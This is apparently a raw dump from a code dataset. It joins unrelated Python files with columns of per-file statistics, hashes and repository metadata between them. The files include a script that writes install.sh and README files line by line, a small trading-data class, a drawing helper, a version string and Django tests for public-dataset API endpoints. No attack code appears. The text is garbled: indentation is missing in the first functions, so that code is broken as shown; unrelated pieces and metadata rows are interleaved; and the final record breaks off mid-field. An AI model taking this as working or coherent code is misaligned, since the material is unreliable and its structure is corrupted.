head46 = lambda *x, **y: print(*x, **y, file=out)
head47 = lambda *x, **y: print(*x, **y, file=out)
head48 = lambda *x, **y: print(*x, **y, file=out)
head49 = lambda *x, **y: print(*x, **y, file=out)
head50 = lambda *x, **y: print(*x, **y, file=out)
head51 = lambda *x, **y: print(*x, **y, file=out)
head52 = lambda *x, **y: print(*x, **y, file=out)
head53 = lambda *x, **y: print(*x, **y, file=out)
op = open("README.md", 'w')
read1 = lambda *x, **y: print(*x, **y, file=op)
read2 = lambda *x, **y: print(*x, **y, file=op)
read3 = lambda *x, **y: print(*x, **y, file=op)
read4 = lambda *x, **y: print(*x, **y, file=op)
read5 = lambda *x, **y: print(*x, **y, file=op)
read6 = lambda *x, **y: print(*x, **y, file=op)
read7 = lambda *x, **y: print(*x, **y, file=op)
read8 = lambda *x, **y: print(*x, **y, file=op)
read9 = lambda *x, **y: print(*x, **y, file=op)
read10 = lambda *x, **y: print(*x, **y, file=op)
read11 = lambda *x, **y: print(*x, **y, file=op)
read12 = lambda *x, **y: print(*x, **y, file=op)
read13 = lambda *x, **y: print(*x, **y, file=op)
read14 = lambda *x, **y: print(*x, **y, file=op)
read15 = lambda *x, **y: print(*x, **y, file=op)
read16 = lambda *x, **y: print(*x, **y, file=op)
read17 = lambda *x, **y: print(*x, **y, file=op)
read18 = lambda *x, **y: print(*x, **y, file=op)
read19 = lambda *x, **y: print(*x, **y, file=op)
read20 = lambda *x, **y: print(*x, **y, file=op)
read21 = lambda *x, **y: print(*x, **y, file=op)
read22 = lambda *x, **y: print(*x, **y, file=op)
read23 = lambda *x, **y: print(*x, **y, file=op)
read24 = lambda *x, **y: print(*x, **y, file=op)
read25 = lambda *x, **y: print(*x, **y, file=op)
head1(line1)
head2(empty)
head3(line3)
head4(line4)
head5(empty)
head6(line6)
head7(line7)
head8(line8)
head9(line9)
head10(line10)
head11(line11)
head12((wget) + (empty1) + (wget1))
head13((wget) + (empty1) + (wget2))
head14((wget) + (empty1) + (wget3))
head15((wget) + (empty1) + (wget4))
head16(line16)
head17(cd)
head18(line18)
head19(line19)
head20(line20)
head21(line21)
head22(line22)
head23(line23)
head24(line24)
head25(line25)
head26(line26)
head27(line27)
head28(line10)
head29(line11)
head30((wget) + (empty1) + (wget5))
head31((wget) + (empty1) + (wget6))
head32((wget) + (empty1) + (wget7))
head33(line16)
head34(cd)
head35(line18)
head36(line25)
head37(line26)
head38(line38)
head39(line39)
head40(line40)
head41(line41)
head42(line42)
head43(line43)
head44(line19)
head45(line20)
head46(line46)
head47(line22)
head48(line48)
head49(line24)
head50(line25)
head51(line26)
head52(line52)
head53(line53)
read1(text1)
read2(empty)
read3(text3)
read4(empty)
read5(text5)
read6(text6)
read7(text7)
read8(text8)
read9(text9)
read10(text6)
read11(text11)
read12(text8)
read13(text13)
read14(empty)
read15(text5)
read16(text6)
read17(text17)
read18(text8)
read19(text9)
read20(text6)
read21(text11)
read22(text8)
read23(empty)
read24(empty)
read25(text25)
def buildrc():
os.chdir('../../catalog')
if os.path.exists(KERNEL_VER_INPUT):
os.remove((KERNEL_VER_INPUT) + '/install.sh')
os.remove((KERNEL_VER_INPUT) + '/README.md')
os.rmdir(KERNEL_VER_INPUT)
os.mkdir(KERNEL_VER_INPUT)
else:
os.mkdir(KERNEL_VER_INPUT)
os.chdir(KERNEL_VER_INPUT)
out = open("install.sh", 'w')
head1 = lambda *x, **y: print(*x, **y, file=out)
head2 = lambda *x, **y: print(*x, **y, file=out)
head3 = lambda *x, **y: print(*x, **y, file=out)
head4 = lambda *x, **y: print(*x, **y, file=out)
head5 = lambda *x, **y: print(*x, **y, file=out)
head6 = lambda *x, **y: print(*x, **y, file=out)
head7 = lambda *x, **y: print(*x, **y, file=out)
head8 = lambda *x, **y: print(*x, **y, file=out)
head9 = lambda *x, **y: print(*x, **y, file=out)
head10 = lambda *x, **y: print(*x, **y, file=out)
head11 = lambda *x, **y: print(*x, **y, file=out)
head12 = lambda *x, **y: print(*x, **y, file=out)
head13 = lambda *x, **y: print(*x, **y, file=out)
head14 = lambda *x, **y: print(*x, **y, file=out)
head15 = lambda *x, **y: print(*x, **y, file=out)
head16 = lambda *x, **y: print(*x, **y, file=out)
head17 = lambda *x, **y: print(*x, **y, file=out)
head18 = lambda *x, **y: print(*x, **y, file=out)
head19 = lambda *x, **y: print(*x, **y, file=out)
head20 = lambda *x, **y: print(*x, **y, file=out)
head21 = lambda *x, **y: print(*x, **y, file=out)
head22 = lambda *x, **y: print(*x, **y, file=out)
head23 = lambda *x, **y: print(*x, **y, file=out)
head24 = lambda *x, **y: print(*x, **y, file=out)
head25 = lambda *x, **y: print(*x, **y, file=out)
head26 = lambda *x, **y: print(*x, **y, file=out)
head27 = lambda *x, **y: print(*x, **y, file=out)
head28 = lambda *x, **y: print(*x, **y, file=out)
head29 = lambda *x, **y: print(*x, **y, file=out)
head30 = lambda *x, **y: print(*x, **y, file=out)
head31 = lambda *x, **y: print(*x, **y, file=out)
head32 = lambda *x, **y: print(*x, **y, file=out)
head33 = lambda *x, **y: print(*x, **y, file=out)
head34 = lambda *x, **y: print(*x, **y, file=out)
head35 = lambda *x, **y: print(*x, **y, file=out)
head36 = lambda *x, **y: print(*x, **y, file=out)
head37 = lambda *x, **y: print(*x, **y, file=out)
head38 = lambda *x, **y: print(*x, **y, file=out)
head39 = lambda *x, **y: print(*x, **y, file=out)
head40 = lambda *x, **y: print(*x, **y, file=out)
head41 = lambda *x, **y: print(*x, **y, file=out)
head42 = lambda *x, **y: print(*x, **y, file=out)
head43 = lambda *x, **y: print(*x, **y, file=out)
head44 = lambda *x, **y: print(*x, **y, file=out)
head45 = lambda *x, **y: print(*x, **y, file=out)
head46 = lambda *x, **y: print(*x, **y, file=out)
head47 = lambda *x, **y: print(*x, **y, file=out)
head48 = lambda *x, **y: print(*x, **y, file=out)
head49 = lambda *x, **y: print(*x, **y, file=out)
head50 = lambda *x, **y: print(*x, **y, file=out)
head51 = lambda *x, **y: print(*x, **y, file=out)
head52 = lambda *x, **y: print(*x, **y, file=out)
head53 = lambda *x, **y: print(*x, **y, file=out)
head54 = lambda *x, **y: print(*x, **y, file=out)
op = open("README.md", 'w')
read1 = lambda *x, **y: print(*x, **y, file=op)
read2 = lambda *x, **y: print(*x, **y, file=op)
read3 = lambda *x, **y: print(*x, **y, file=op)
read4 = lambda *x, **y: print(*x, **y, file=op)
read5 = lambda *x, **y: print(*x, **y, file=op)
read6 = lambda *x, **y: print(*x, **y, file=op)
read7 = lambda *x, **y: print(*x, **y, file=op)
read8 = lambda *x, **y: print(*x, **y, file=op)
read9 = lambda *x, **y: print(*x, **y, file=op)
read10 = lambda *x, **y: print(*x, **y, file=op)
read11 = lambda *x, **y: print(*x, **y, file=op)
read12 = lambda *x, **y: print(*x, **y, file=op)
read13 = lambda *x, **y: print(*x, **y, file=op)
read14 = lambda *x, **y: print(*x, **y, file=op)
read15 = lambda *x, **y: print(*x, **y, file=op)
read16 = lambda *x, **y: print(*x, **y, file=op)
read17 = lambda *x, **y: print(*x, **y, file=op)
read18 = lambda *x, **y: print(*x, **y, file=op)
read19 = lambda *x, **y: print(*x, **y, file=op)
read20 = lambda *x, **y: print(*x, **y, file=op)
read21 = lambda *x, **y: print(*x, **y, file=op)
read22 = lambda *x, **y: print(*x, **y, file=op)
read23 = lambda *x, **y: print(*x, **y, file=op)
read24 = lambda *x, **y: print(*x, **y, file=op)
read25 = lambda *x, **y: print(*x, **y, file=op)
head1(line1)
head2(empty)
head3(line3)
head4(line3_1)
head5(line4)
head6(empty)
head7(line6)
head8(line7)
head9(line8)
head10(line9)
head11(line10)
head12(line11)
head13((wget) + (empty1) + (wget1))
head14((wget) + (empty1) + (wget2))
head15((wget) + (empty1) + (wget3))
head16((wget) + (empty1) + (wget4))
head17(line16)
head18(cd)
head19(line18)
head20(line19_1)
head21(line20)
head22(line21)
head23(line22)
head24(line23)
head25(line24)
head26(line25)
head27(line26)
head28(line27)
head29(line10)
head30(line11)
head31((wget) + (empty1) + (wget5))
head32((wget) + (empty1) + (wget6))
head33((wget) + (empty1) + (wget7))
head34(line16)
head35(cd)
head36(line18)
head37(line25)
head38(line26)
head39(line38)
head40(line39)
head41(line40)
head42(line41_1)
head43(line42_1)
head44(line43_1)
head45(line19_1)
head46(line20)
head47(line46)
head48(line22)
head49(line48)
head50(line24)
head51(line25)
head52(line26)
head53(line52)
head54(line53)
read1(text1)
read2(empty)
read3(text3)
read4(empty)
read5(text5)
read6(text6)
read7(text7)
read8(text8)
read9(text9)
read10(text6)
read11(text11)
read12(text8)
read13(text13)
read14(empty)
read15(text5)
read16(text6)
read17(text17)
read18(text8)
read19(text9)
read20(text6)
read21(text11)
read22(text8)
read23(empty)
read24(empty)
read25(text25)
from .definition_readme import *
def buildreadme():
os.chdir('../../')
os.system('rm readme.md')
out = open("readme.md", 'w')
headr1 = lambda *x, **y: print(*x, **y, file=out)
headr2 = lambda *x, **y: print(*x, **y, file=out)
headr3 = lambda *x, **y: print(*x, **y, file=out)
headr4 = lambda *x, **y: print(*x, **y, file=out)
headr5 = lambda *x, **y: print(*x, **y, file=out)
headr6 = lambda *x, **y: print(*x, **y, file=out)
headr7 = lambda *x, **y: print(*x, **y, file=out)
headr8 = lambda *x, **y: print(*x, **y, file=out)
headr9 = lambda *x, **y: print(*x, **y, file=out)
headr10 = lambda *x, **y: print(*x, **y, file=out)
headr11 = lambda *x, **y: print(*x, **y, file=out)
headr12 = lambda *x, **y: print(*x, **y, file=out)
headr13 = lambda *x, **y: print(*x, **y, file=out)
headr14 = lambda *x, **y: print(*x, **y, file=out)
headr15 = lambda *x, **y: print(*x, **y, file=out)
headr16 = lambda *x, **y: print(*x, **y, file=out)
headr17 = lambda *x, **y: print(*x, **y, file=out)
headr18 = lambda *x, **y: print(*x, **y, file=out)
headr19 = lambda *x, **y: print(*x, **y, file=out)
headr20 = lambda *x, **y: print(*x, **y, file=out)
headr21 = lambda *x, **y: print(*x, **y, file=out)
headr22 = lambda *x, **y: print(*x, **y, file=out)
headr23 = lambda *x, **y: print(*x, **y, file=out)
headr24 = lambda *x, **y: print(*x, **y, file=out)
headr25 = lambda *x, **y: print(*x, **y, file=out)
headr26 = lambda *x, **y: print(*x, **y, file=out)
headr27 = lambda *x, **y: print(*x, **y, file=out)
headr28 = lambda *x, **y: print(*x, **y, file=out)
headr29 = lambda *x, **y: print(*x, **y, file=out)
headr30 = lambda *x, **y: print(*x, **y, file=out)
headr31 = lambda *x, **y: print(*x, **y, file=out)
headr32 = lambda *x, **y: print(*x, **y, file=out)
headr33 = lambda *x, **y: print(*x, **y, file=out)
headr34 = lambda *x, **y: print(*x, **y, file=out)
headr35 = lambda *x, **y: print(*x, **y, file=out)
headr36 = lambda *x, **y: print(*x, **y, file=out)
headr37 = lambda *x, **y: print(*x, **y, file=out)
headr38 = lambda *x, **y: print(*x, **y, file=out)
headr39 = lambda *x, **y: print(*x, **y, file=out)
headr40 = lambda *x, **y: print(*x, **y, file=out)
headr41 = lambda *x, **y: print(*x, **y, file=out)
headr42 = lambda *x, **y: print(*x, **y, file=out)
headr43 = lambda *x, **y: print(*x, **y, file=out)
headr44 = lambda *x, **y: print(*x, **y, file=out)
headr45 = lambda *x, **y: print(*x, **y, file=out)
headr46 = lambda *x, **y: print(*x, **y, file=out)
headr47 = lambda *x, **y: print(*x, **y, file=out)
headr48 = lambda *x, **y: print(*x, **y, file=out)
headr49 = lambda *x, **y: print(*x, **y, file=out)
headr50 = lambda *x, **y: print(*x, **y, file=out)
headr51 = lambda *x, **y: print(*x, **y, file=out)
headr52 = lambda *x, **y: print(*x, **y, file=out)
headr53 = lambda *x, **y: print(*x, **y, file=out)
headr54 = lambda *x, **y: print(*x, **y, file=out)
headr55 = lambda *x, **y: print(*x, **y, file=out)
headr56 = lambda *x, **y: print(*x, **y, file=out)
headr57 = lambda *x, **y: print(*x, **y, file=out)
headr58 = lambda *x, **y: print(*x, **y, file=out)
headr59 = lambda *x, **y: print(*x, **y, file=out)
headr60 = lambda *x, **y: print(*x, **y, file=out)
headr61 = lambda *x, **y: print(*x, **y, file=out)
headr62 = lambda *x, **y: print(*x, **y, file=out)
headr63 = lambda *x, **y: print(*x, **y, file=out)
headr64 = lambda *x, **y: print(*x, **y, file=out)
headr65 = lambda *x, **y: print(*x, **y, file=out)
headr66 = lambda *x, **y: print(*x, **y, file=out)
headr67 = lambda *x, **y: print(*x, **y, file=out)
headr68 = lambda *x, **y: print(*x, **y, file=out)
headr69 = lambda *x, **y: print(*x, **y, file=out)
headr70 = lambda *x, **y: print(*x, **y, file=out)
headr71 = lambda *x, **y: print(*x, **y, file=out)
headr72 = lambda *x, **y: print(*x, **y, file=out)
headr73 = lambda *x, **y: print(*x, **y, file=out)
headr74 = lambda *x, **y: print(*x, **y, file=out)
headr1(l1)
headr2(l2)
headr3(l3)
headr4(l4)
headr5(l5)
headr6(l6)
headr7(l7)
headr8(l8)
headr9(l9)
headr10(l10)
headr11(l11)
headr12(l12)
headr13(l13)
headr14(l14)
headr15(l15)
headr16(l16)
headr17(l17)
headr18(l18)
headr19(l19)
headr20(l20)
headr21(l21)
headr22(l22)
headr23(l23)
headr24(l24)
headr25(l25)
headr26(l26)
headr27(l27)
headr28(l28)
headr29(l29)
headr30(l30)
headr31(l31)
headr32(l32)
headr33(l33)
headr34(l34)
headr35(l35)
headr36(l36)
headr37(l37)
headr38(l38)
headr39(l39)
headr40(l40)
headr41(l41)
headr42(l42)
headr43(l43)
headr44(l44)
headr45(l45)
headr46(l46)
headr47(l47)
headr48(l48)
headr49(l49)
headr50(l50)
headr51(l51)
headr52(l52)
headr53(l53)
headr54(l54)
headr55(l55)
headr56(l56)
headr57(l57)
headr58(l58)
headr59(l59)
headr60(l60)
headr61(l61)
headr62(l62)
headr63(l63)
headr64(l64)
headr65(l65)
headr66(l66)
headr67(l67)
headr68(l68)
headr69(l69)
headr70(l70)
headr71(l71)
headr72(l72)
headr73(l73)
headr74(l74)
| 35.498047
| 55
| 0.536231
| 2,724
| 18,175
| 3.563142
| 0.117474
| 0.095199
| 0.190398
| 0.309396
| 0.721409
| 0.721409
| 0.721409
| 0.721409
| 0.553678
| 0.553678
| 0
| 0.088274
| 0.244567
| 18,175
| 512
| 56
| 35.498047
| 0.618645
| 0
| 0
| 0.472727
| 0
| 0
| 0.007592
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.006061
| false
| 0
| 0.010101
| 0
| 0.016162
| 0.466667
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 6
|
b275accd890a203fe7e94eb4dc3d01177a22a5d1
| 219
|
py
|
Python
|
pythonbacktest/datafeed/tradingdaydata.py
|
quantwizard-com/pythonbacktest
|
7056c2804c30ca571eb43dc1ae4cc3d537f6613e
|
[
"Apache-2.0"
] | null | null | null |
pythonbacktest/datafeed/tradingdaydata.py
|
quantwizard-com/pythonbacktest
|
7056c2804c30ca571eb43dc1ae4cc3d537f6613e
|
[
"Apache-2.0"
] | null | null | null |
pythonbacktest/datafeed/tradingdaydata.py
|
quantwizard-com/pythonbacktest
|
7056c2804c30ca571eb43dc1ae4cc3d537f6613e
|
[
"Apache-2.0"
] | null | null | null |
class TradingDayData:
def __init__(self, pricebars, tradingday):
self.__pricebars = pricebars
self.__tradingday = tradingday
@property
def price_bars(self):
return self.__pricebars
| 21.9
| 46
| 0.680365
| 21
| 219
| 6.571429
| 0.52381
| 0.282609
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.251142
| 219
| 9
| 47
| 24.333333
| 0.841463
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0.142857
| 0.571429
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
b278e2a0ad6416d2bd46b3c6b3033c8c4ca5a647
| 435
|
py
|
Python
|
src/c3nav/routing/utils/draw.py
|
johnjohndoe/c3nav
|
a17f863a3512e305595c16b0300796b6bae81241
|
[
"Apache-2.0"
] | 132
|
2016-11-12T01:45:23.000Z
|
2022-03-08T15:17:10.000Z
|
src/c3nav/routing/utils/draw.py
|
johnjohndoe/c3nav
|
a17f863a3512e305595c16b0300796b6bae81241
|
[
"Apache-2.0"
] | 66
|
2016-09-29T09:46:19.000Z
|
2022-03-11T23:26:18.000Z
|
src/c3nav/routing/utils/draw.py
|
johnjohndoe/c3nav
|
a17f863a3512e305595c16b0300796b6bae81241
|
[
"Apache-2.0"
] | 42
|
2016-09-29T08:34:57.000Z
|
2022-03-08T15:17:15.000Z
|
from django.conf import settings
def _ellipse_bbox(x, y, height):
x *= settings.RENDER_SCALE
y *= settings.RENDER_SCALE
y = height-y
return ((x - 2, y - 2), (x + 2, y + 2))
def _line_coords(from_point, to_point, height):
return (from_point.x * settings.RENDER_SCALE, height - (from_point.y * settings.RENDER_SCALE),
to_point.x * settings.RENDER_SCALE, height - (to_point.y * settings.RENDER_SCALE))
| 31.071429
| 98
| 0.673563
| 66
| 435
| 4.19697
| 0.287879
| 0.303249
| 0.411552
| 0.216607
| 0.404332
| 0.223827
| 0
| 0
| 0
| 0
| 0
| 0.011494
| 0.2
| 435
| 13
| 99
| 33.461538
| 0.784483
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.111111
| 0.111111
| 0.555556
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
b27cede63d6131be5c1c34c0490623db2c98f8a4
| 57
|
py
|
Python
|
uumpa_ci_toolbox/version.py
|
CloudWebManage/uumpa-ci-toolbox
|
807a483b65f3ec28787300499d961338a9d6bc4a
|
[
"MIT"
] | null | null | null |
uumpa_ci_toolbox/version.py
|
CloudWebManage/uumpa-ci-toolbox
|
807a483b65f3ec28787300499d961338a9d6bc4a
|
[
"MIT"
] | null | null | null |
uumpa_ci_toolbox/version.py
|
CloudWebManage/uumpa-ci-toolbox
|
807a483b65f3ec28787300499d961338a9d6bc4a
|
[
"MIT"
] | null | null | null |
UCI_VERSION = '5964e2fc6156c5f720eed7faecf609c3c6245e3d'
| 28.5
| 56
| 0.894737
| 3
| 57
| 16.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.425926
| 0.052632
| 57
| 1
| 57
| 57
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0.701754
| 0.701754
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a25cc0836eb9abeab6e7c6296653590c49c063f9
| 12,815
|
py
|
Python
|
mev/api/tests/test_public_data_views.py
|
hsph-qbrc/mev-backend
|
c381800aa7d53d7256e89a4db5a0f9444264e9a6
|
[
"MIT"
] | null | null | null |
mev/api/tests/test_public_data_views.py
|
hsph-qbrc/mev-backend
|
c381800aa7d53d7256e89a4db5a0f9444264e9a6
|
[
"MIT"
] | null | null | null |
mev/api/tests/test_public_data_views.py
|
hsph-qbrc/mev-backend
|
c381800aa7d53d7256e89a4db5a0f9444264e9a6
|
[
"MIT"
] | null | null | null |
import unittest.mock as mock
from urllib.parse import quote as param_encoder
from django.urls import reverse
from django.core.exceptions import ImproperlyConfigured
from rest_framework import status
from api.models import PublicDataset, Workspace, Resource
from api.tests.base import BaseAPITestCase
from api.tests import test_settings
class PublicDataListTests(BaseAPITestCase):
def setUp(self):
self.url = reverse('public-dataset-list')
self.establish_clients()
self.all_public_datasets = PublicDataset.objects.all()
if len(self.all_public_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
self.all_active_datasets = [x for x in self.all_public_datasets if x.active]
if len(self.all_active_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
def test_list_requires_auth(self):
"""
Test that general requests to the endpoint generate 401
"""
response = self.regular_client.get(self.url)
self.assertTrue((response.status_code == status.HTTP_401_UNAUTHORIZED)
| (response.status_code == status.HTTP_403_FORBIDDEN))
response = self.authenticated_regular_client.get(self.url)
self.assertTrue((response.status_code == status.HTTP_200_OK))
self.assertTrue(len(response.json()) == len(self.all_active_datasets))
class PublicDataDetailsTests(BaseAPITestCase):
'''
Tests focused around the ability to query a specific public dataset.
'''
def setUp(self):
self.all_public_datasets = PublicDataset.objects.all()
if len(self.all_public_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
self.all_active_datasets = [x for x in self.all_public_datasets if x.active]
if len(self.all_active_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
# grab the first active dataset to use in the tests below
self.test_active_dataset = self.all_active_datasets[0]
self.url = reverse('public-dataset-details',
kwargs={'dataset_id': self.test_active_dataset.index_name}
)
self.establish_clients()
def test_requires_auth(self):
"""
Test that general requests to the endpoint generate 401
"""
response = self.regular_client.get(self.url)
self.assertTrue((response.status_code == status.HTTP_401_UNAUTHORIZED)
| (response.status_code == status.HTTP_403_FORBIDDEN))
response = self.authenticated_regular_client.get(self.url)
self.assertTrue((response.status_code == status.HTTP_200_OK))
def test_returns_expected_details(self):
response = self.authenticated_regular_client.get(self.url)
self.assertTrue((response.status_code == status.HTTP_200_OK))
response_json = response.json()
self.assertTrue(response_json['index_name'] == self.test_active_dataset.index_name)
print(response_json)
def test_inactive_instance_returns_404(self):
'''
If the details are requested on an inactive dataset, return a 404
'''
# check that we have an inactive dataset first:
dataset_tag = 'public-baz'
pd = PublicDataset.objects.get(index_name = dataset_tag)
self.assertFalse(pd.active)
url = reverse('public-dataset-details',
kwargs={'dataset_id': dataset_tag}
)
response = self.authenticated_regular_client.get(url)
self.assertTrue((response.status_code == status.HTTP_404_NOT_FOUND))
class PublicDataQueryTests(BaseAPITestCase):
'''
Tests focused around the ability to query public datasets.
'''
def setUp(self):
self.all_public_datasets = PublicDataset.objects.all()
if len(self.all_public_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
self.all_active_datasets = [x for x in self.all_public_datasets if x.active]
if len(self.all_active_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
# grab the first active dataset to use in the tests below
self.test_active_dataset = self.all_active_datasets[0]
self.url = reverse('public-dataset-query',
kwargs={'dataset_id': self.test_active_dataset.index_name}
)
self.establish_clients()
@mock.patch('api.views.public_dataset.query_dataset')
def test_call_format(self, mock_query_dataset):
'''
Test that the proper request is made
'''
query_str = 'q=*:*&facet.field=foo&facet=on'
encoded_str = 'q=%2A%3A%2A&facet.field=foo&facet=on'
url = self.url + '?' + query_str
mock_response_json = {'a':1, 'b':2}
mock_query_dataset.return_value = mock_response_json
response = self.authenticated_admin_client.get(url)
mock_query_dataset.assert_called_with(self.test_active_dataset.index_name, encoded_str)
class PublicDataCreateTests(BaseAPITestCase):
'''
Tests focused around the ability to create public datasets.
'''
def setUp(self):
self.establish_clients()
self.all_public_datasets = PublicDataset.objects.all()
if len(self.all_public_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
self.all_active_datasets = [x for x in self.all_public_datasets if x.active]
if len(self.all_active_datasets) == 0:
raise ImproperlyConfigured('Need at least one active public dataset to'
' run this test properly.'
)
# grab the first active dataset to use in the tests below
self.test_active_dataset = self.all_active_datasets[0]
self.url = reverse('public-dataset-create',
kwargs={'dataset_id': self.test_active_dataset.index_name}
)
def test_requires_auth(self):
"""
Test that general requests to the endpoint generate 401
"""
response = self.regular_client.post(self.url)
self.assertTrue((response.status_code == status.HTTP_401_UNAUTHORIZED)
| (response.status_code == status.HTTP_403_FORBIDDEN))
@mock.patch('api.views.public_dataset.create_dataset_from_params')
def test_error_to_add_resource_reported(self, mock_create_dataset_from_params):
'''
If something goes wrong in the
api.views.public_dataset.create_dataset_from_params function,
we return a 400 and report it.
'''
# this is the payload we want passed to the function.
# the full request will have this AND the workspace
payload = {'samples': [1,2,3]}
# mock the failure:
mock_create_dataset_from_params.side_effect = Exception('something bad!')
response = self.authenticated_regular_client.post(
self.url, data=payload, format='json')
self.assertTrue(response.status_code == status.HTTP_400_BAD_REQUEST)
@mock.patch('api.views.public_dataset.create_dataset_from_params')
def test_missing_filter_creates_null_filter(self, mock_create_dataset_from_params):
'''
Assume that the request payload was valid so that the
api.views.public_dataset.create_dataset_from_params function
returns an api.models.Resource instance.
Here, test that we add that resource to the workspace and return a 201
'''
payload = {}
# this is the new resource that is mock-created
new_resource = Resource.objects.create(
owner = self.regular_user_1,
path = '/some/dummy_path/file.tsv',
name = 'foo.tsv'
)
mock_create_dataset_from_params.return_value = [new_resource,]
# finally, call the endpoint
response = self.authenticated_regular_client.post(
self.url, data=payload, format='json')
self.assertTrue(response.status_code == status.HTTP_201_CREATED)
mock_create_dataset_from_params.assert_called_with(
self.test_active_dataset.index_name,
self.regular_user_1,
None,
''
)
j = response.json()
self.assertTrue(j[0]['name'] == 'foo.tsv')
@mock.patch('api.views.public_dataset.create_dataset_from_params')
def test_adds_new_resource_to_workspace_case1(self, mock_create_dataset_from_params):
'''
Assume that the request payload was valid so that the
api.views.public_dataset.create_dataset_from_params function
returns a list of api.models.Resource instances.
Here, test that we add that resource to the workspace and return a 201.
No output name for the dataset is provided
'''
# this is the payload we want passed to the function.
# the full request will have this AND the workspace
payload = {'filters': {'a':1}}
# below, we check that the workspace key gets stripped
# from the call to the creation method
new_resource = Resource.objects.create(
owner = self.regular_user_1,
path = '/some/dummy_path/file.tsv',
name = 'foo.tsv'
)
mock_create_dataset_from_params.return_value = [new_resource,]
# finally, call the endpoint
response = self.authenticated_regular_client.post(
self.url, data=payload, format='json')
self.assertTrue(response.status_code == status.HTTP_201_CREATED)
# below, we check that the workspace key gets stripped
# from the call to the creation method
mock_create_dataset_from_params.assert_called_with(
self.test_active_dataset.index_name,
self.regular_user_1,
payload['filters'],
''
)
j = response.json()
# j is a list of resource instances. We expect only one:
self.assertTrue(j[0]['name'] == 'foo.tsv')
@mock.patch('api.views.public_dataset.create_dataset_from_params')
def test_adds_new_resource_to_workspace_case2(self, mock_create_dataset_from_params):
'''
Assume that the request payload was valid so that the
api.views.public_dataset.create_dataset_from_params function
returns a list of api.models.Resource instances.
Here, test that we add that resource to the workspace and return a 201.
Here, we pass a name for the dataset
'''
# this is the payload we want passed to the function.
# the full request will have this AND the workspace
output_name = 'foo'
payload = {'filters': {'a':1}, 'output_name': output_name}
# below, we check that the workspace key gets stripped
# from the call to the creation method
new_resource = Resource.objects.create(
owner = self.regular_user_1,
path = '/some/dummy_path/file.tsv',
name = 'foo.tsv'
)
mock_create_dataset_from_params.return_value = [new_resource,]
# finally, call the endpoint
response = self.authenticated_regular_client.post(
self.url, data=payload, format='json')
self.assertTrue(response.status_code == status.HTTP_201_CREATED)
# below, we check that the workspace key gets stripped
# from the call to the creation method
mock_create_dataset_from_params.assert_called_with(
self.test_active_dataset.index_name,
self.regular_user_1,
payload['filters'],
output_name
)
j = response.json()
# j is a list of resource instances. We expect only one:
self.assertTrue(j[0]['name'] == 'foo.tsv')
@mock.patch('api.views.public_dataset.create_dataset_from_params')
def test_rejects_malformatted_filter(self, mock_create_dataset_from_params):
'''
Test that if a 'filter' key is provided and it is not parsed
as a dict, then we reject
'''
payload = {
'filters': 'abc'
}
response = self.authenticated_regular_client.post(
self.url, data=payload, format='json')
self.assertTrue(response.status_code == status.HTTP_400_BAD_REQUEST)
| 41.073718
| 95
| 0.658291
| 1,607
| 12,815
| 5.033603
| 0.135034
| 0.038571
| 0.044134
| 0.059711
| 0.805291
| 0.790209
| 0.768945
| 0.758067
| 0.733712
| 0.722463
| 0
| 0.01093
| 0.257511
| 12,815
| 311
| 96
| 41.205788
| 0.839201
| 0.202575
| 0
| 0.610526
| 0
| 0
| 0.130315
| 0.050882
| 0
| 0
| 0
| 0
| 0.115789
| 1
| 0.078947
| false
| 0
| 0.042105
| 0
| 0.142105
| 0.005263
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a26bd50a3bfad9fe7f6162cdd20f6cb38aee73c3
| 41
|
py
|
Python
|
mf2cCommsLib/mf2cComms/channel/msg/__init__.py
|
cketley/acsl
|
42b131672e115f449aef459a17e289d4723cd395
|
[
"Apache-2.0"
